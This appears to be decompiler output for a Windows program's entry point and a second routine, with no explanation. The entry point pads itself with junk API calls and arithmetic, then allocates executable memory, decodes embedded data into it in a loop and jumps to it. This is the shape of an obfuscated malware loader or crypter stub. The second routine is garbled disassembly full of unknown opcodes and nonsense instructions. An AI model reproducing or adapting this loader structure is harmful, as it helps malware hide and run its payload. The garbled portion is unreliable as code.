__entry_point__() { /* unknown */ void Vfffffd78; /* unknown */ void Vfffffd7c; /* unknown */ void Vfffffd80; /* unknown */ void Vfffffdb0; /* unknown */ void Vfffffdb4; /* unknown */ void Vfffffdb8; /* unknown */ void Vfffffdc8; /* unknown */ void Vfffffdd4; /* unknown */ void Vfffffddc; /* unknown */ void Vfffffde0; /* unknown */ void Vfffffde4; /* unknown */ void Vfffffdf0; /* unknown */ void Vfffffdfc; /* unknown */ void Vfffffe00; /* unknown */ void Vfffffe0c; /* unknown */ void Vfffffe10; /* unknown */ void Vfffffe30; /* unknown */ void Vfffffe34; /* unknown */ void Vfffffe38; /* unknown */ void Vfffffe50; /* unknown */ void Vfffffe54; /* unknown */ void Vfffffe74; /* unknown */ void Vfffffe80; /* unknown */ void Vfffffe88; /* unknown */ void Vfffffe90; /* unknown */ void Vfffffe98; /* unknown */ void Vfffffecc; /* unknown */ void Vfffffee0; /* unknown */ void Vfffffee8; /* unknown */ void Vffffff00; /* unknown */ void Vffffff04; /* unknown */ void Vffffff0c; /* unknown */ void Vffffff10; /* unknown */ void Vffffff14; /* unknown */ void Vffffff18; /* unknown */ void Vffffff24; /* unknown */ void Vffffff40; /* unknown */ void Vffffff44; /* unknown */ void Vffffff48; /* unknown */ void Vffffff4c; /* unknown */ void Vffffff54; /* unknown */ void Vffffff58; /* unknown */ void Vffffff60; /* unknown */ void Vffffff64; /* unknown */ void Vffffff68; /* unknown */ void Vffffff6c; /* unknown */ void Vffffff70; /* unknown */ void Vffffff80; /* unknown */ void Vffffff88; /* unknown */ void Vffffff8c; /* unknown */ void Vffffff90; /* unknown */ void Vffffffa4; /* unknown */ void Vffffffac; /* unknown */ void Vffffffb0; /* unknown */ void Vffffffb4; /* unknown */ void Vffffffc0; /* unknown */ void Vffffffcc; /* unknown */ void Vffffffd4; /* unknown */ void Vffffffdc; /* unknown */ void Vffffffe4; /* unknown */ void Vffffffe8; if(edx != 957) { eax = eax | edx; Vfffffd80 = Vfffffd80 | 34; edx = ebp; } (save)ebp; *esp = *esp - 252; (save)0; *__imp__GetCPInfo(); *__imp__GetCurrentProcessId(); *__imp__GetCurrentThreadId(); ecx = ecx - edx; if(edx == 648) { edx = ebp; ecx = ecx - 10985; ecx = ebp; edx = (edx | *(ecx + 16)) & *(ecx + 11) | *(ecx + 7); asm("adc edx,eax"); } (save)2; (save)ebp; *esp = *esp - 200; (save) & Vffffff90; (save)ebp; *esp = *esp - 136; (save)ebp; *esp = *esp - 92; esp = esp - 4; *esp = 0; (save)18; (save)ebp; *esp = *esp - 88; *__imp__RegEnumKeyExA(); Vfffffecc = Vfffffecc ^ 91; (save)ebp; *esp = *esp - 108; esp = esp - 4; *esp = 0; (save)21; *__imp__OpenMutexA(); (save)0; (save) & Vffffff88; (save)ebp; *esp = *esp - 160; (save) & Vffffff60; (save) & Vffffff44; (save)23; (save)8; (save)ebp; *esp = *esp - 164; eax = *__imp__RegEnumValueW() & Vffffffb4; eax = ebp; (save)ebp; *esp = *esp - 124; (save)0; (save)0; eax = *__imp__OpenEventA() + 8722; Vfffffe0c = Vfffffe0c + 18; (save)18; (save)19; (save)ebp; *esp = *esp - 88; *__imp__InitializeAcl(); ecx = ecx - Vffffff00; edx = & Vffffff4c; if(ecx != 902) { asm("adc ecx,eax"); Vfffffdc8 = Vfffffdc8 & 84; edx = edx - 6671; ecx = ecx | 12277; edx = edx ^ 5653; Vffffff6c = Vffffff6c + 21; } (save)0; *__imp__malloc(); (restore)eax; ecx = ecx & Vfffffe54; edx = ebp & Vfffffe30; eax = *__imp__GetOEMCP(); edx = edx - 2449; asm("sbb edx,eax"); if((ecx & eax) == 804) { Vfffffddc = Vfffffddc - 25; edx = edx | 12626; asm("sbb ecx,eax"); eax = eax | edx; } (save)20; (save)ebp; *esp = *esp - 168; (save) & Vffffff58; (save)ebp; *esp = *esp - 164; (save) & Vffffffac; (save)0; (save)0; (save)ebp; *esp = *esp - 120; eax = *__imp__RegEnumKeyExA(); (save)2; if((ecx & eax | edx) != 135) { edx = edx + (eax | edx); eax = ebp; edx = ebp; } Vfffffe90 = Vfffffe90 & edx; edx = ebp; ecx = ecx + *(edx + 9) & *(edx + 11); eax = *__imp____set_app_type() ^ *(edx + 6); (restore)ecx; eax :: 0; eax = eax + 2145 | 16327; (save) & Vffffff44; esp = esp - 4; *esp = 0; (save)0; *__imp__OpenMutexA(); (save) & Vffffff80; (save)ebp; *esp = *esp - 208; (save) & Vffffff8c; *__imp__RegOpenKeyA(); edx :: 0; edx = edx + 13496; (save)ebp; *esp = *esp - 212; (save)0; eax = *__imp__GetCPInfo(); if(ecx == 767) { ecx = ebp; eax = eax + *(ecx + 9); edx = edx - *(ecx + 4); eax = eax - *ecx; ecx = & Vfffffe80; eax = eax + *(ecx + 11); asm("adc eax,ecx"); ecx = ecx | eax; } (save)0; (save)ebp; *esp = *esp - 100; (save)10; (save) & Vffffff40; *__imp__RegEnumKeyA(); Vfffffe88 = Vfffffe88 ^ 115; asm("adc eax,eax"); *__imp__GetOEMCP(); Vffffff64 = Vffffff64 ^ 51; ecx = ecx | edx; if(!(Vfffffde0 & ecx)) { eax = ebp; edx = edx & *(eax + 1); ecx = ecx + *(eax + 4) - *(eax + 13); edx = & Vfffffe00; eax = (eax & *(edx + 12)) - *(edx + 6) & Vfffffee0; edx = edx + 8019; eax = eax ^ Vfffffe74; asm("adc edx,ecx"); } (save)10; (save) & Vffffff8c; (save)0; (save) & Vffffff14; eax = *__imp__RegEnumKeyA() - *( & Vfffffd7c + 9); edx = edx ^ 16080; (save)ebp; *esp = *esp - 140; esp = esp - 4; *esp = 0; (save)10; eax = *__imp__OpenMutexA(); Vffffffe8 = Vffffffe8 | 163; if(eax == 0) { Vffffffd4 = Vffffffd4 - 163; eax = eax | 4735; ecx = (ecx - 14793 | Vffffff70) ^ 5730; } (save)ebp; *esp = *esp - 196; (save)ebp; *esp = *esp - 184; (save) & Vffffff18; *__imp__RegOpenKeyA(); if(ecx != 0) { edx = edx + *(ebp + 14); Vffffffe4 = Vffffffe4 ^ 66; Vffffffdc = Vffffffdc + 212; } (save)0; Vffffff04 = Vffffff04 + 22; (save)0; eax = ( *__imp__GetLastError() | 8916) + edx; (save)0; eax = eax ^ 12396; eax = *__imp__CreateItemMoniker() ^ -2147024809; if(!(ecx = ecx | 12396)) { eax = & Vffffff0c; edx = edx - *(eax + 1) ^ *(eax + 10); eax = eax - 2646; edx = edx & eax; edx = ebp; ecx = ecx | *(edx + 14); asm("pusha"); if(ecx != 219) { edx = & Vffffff4c; eax = eax + *(edx + 6) | *(edx + 15) | *(edx + 7); edx = (edx | 15447) ^ Vffffff14; Vffffffb4 = Vffffffb4 | edx; ecx = & Vfffffe10; eax = eax | *(ecx + 5); } (save)64; edx = edx | Vffffffcc; edx = & Vfffffdfc; ecx = ecx & *(edx + 14); eax = eax + *(edx + 15); ecx = ecx & *(edx + 9); (save)4096; (save)12288; (save)0; eax = (eax & ecx) + ecx; Vfffffd7c = Vfffffd7c & 228; Vfffffdb0 = *__imp__VirtualAlloc(); ecx = ebp; Vffffffe4 = Vffffffe4 + (edx & *(ecx + 5)) - *(ecx + 13); eax = & Vfffffe30; ebx = ebx + *(eax + 7); ecx = (ecx | *(eax + 8)) ^ *(eax + 7); edx = 0x40a55c; Vffffff24 = Vffffff24 | 95; asm("sbb ecx,eax"); Vffffff48 = Vffffff48 | 159; esi = Vfffffdb0; Vffffff0c = Vffffff0c - 187; eax = & Vfffffdc8; ecx = ecx + *(eax + 1); Vfffffdd4 = 1839877483; eax = eax | 13564; ecx :: 0; if(eax == Vfffffdb8) { ecx = ecx & eax; ecx = & Vfffffe74; ebx = ebx - ecx; ecx = ecx ^ 782; } do { ebx = ebx - 12502; edi = *edx + Vfffffdd4; ebx = & Vffffff54; Vfffffdd4 = Vfffffdd4 + -581846881; *esi = edi; Vffffffb0 = Vffffffb0 + 47; if(ecx != ebx) { Vfffffee8 = Vfffffee8 | 155; Vfffffe50 = Vfffffe50 ^ 199; } edx = edx + -810971396; asm("adc ebx,ecx"); eax = ebp; ecx = (ecx | *(eax + 16)) + *(eax + 16) ^ *(eax + 2); esi = esi + 1332391190; ecx = ecx + 3751; edx = edx + 810971400; Vffffffa4 = Vffffffa4 - 179; Vfffffe00 = Vfffffe00 ^ 179; if(ebx == 581) { eax = eax + 8372 & 1705; Vfffffdf0 = Vfffffdf0 ^ 192; Vfffffdb4 = Vfffffdb4 & 103; } esi = esi + -1332391186; ecx = ecx ^ 9063; } while(edx != 0x40b5ac); ecx = ecx & eax; if(Vffffff68 == eax) { ecx = ecx + ecx; ecx = & Vfffffd78; eax = eax & *(ecx + 2); ebx = ebx & *(ecx + 2); Vfffffe98 = Vfffffe98 | 38; } ecx = ecx & 13094; eax = Vfffffdb0(); asm("adc ecx,ebx"); ecx = ecx - ebx; Vfffffde4 = Vfffffde4 & ebx; if(ebx == ecx) { Vfffffe38 = Vfffffe38 | 208; ecx = & Vffffff48; ebx = ebx & *(ecx + 9); eax = eax | *(ecx + 16); Vfffffe34 = Vfffffe34 + ecx; ebx = ebx ^ *(ecx + 8) ^ Vffffff10; ecx = ecx - 10502; } }
L00401217() { if(eax == 0) { eax = *__imp__GetLastError(); } return; (save) *(ebp - 32); edi = *(ebp - 8); esi = 4976; L0040122d: *(ebp - 20) = edi + esi; (save) *(ebp + -412); edi = *(ebp - 16); L00401240: (save)edx; (save) *(ebp - 20); (save)2752; (save) *(ebp - 20); return; (restore)ebx; (save)208; return; eax = L00401028(); asm("fist dword [ecx]"); L00401260: if(edx = *(ebp - 8) + *(edi + 4)) { goto L00401240; } asm("Unknown opcode 0xdd"); *edi = al; edi = edi + 1; asm("xchg dl,[ecx]"); ch = ecx + *(esi + 2039665425) ^ ah; asm("in eax,0xe3"); es = *(esi + 1381126738); (save)edx; (save)edx; (save)edx; (save)edx; (save)edx; (save)edx; (save)edx; asm("fist dword [ecx]"); if(eax = eax - 1) { goto L00401260; } asm("fcom qword [ecx]"); ecx = ecx + *(esi + 294845201); asm("rcl dword [esi+0xe5e42a79],cl"); asm("adc [ebx-0x1d],ebp"); asm("xchg eax,edx"); asm("xchg dl,[edx+0x52]"); (save)edx; (save)edx; (save)edx; (save)edx; (save)edx; (save)edx; asm("adc [ebp+0xe37211db],eax"); if(eax = eax - 1) { goto L0040122d; } asm("fist dword [ecx]"); < ? L00401288 : ;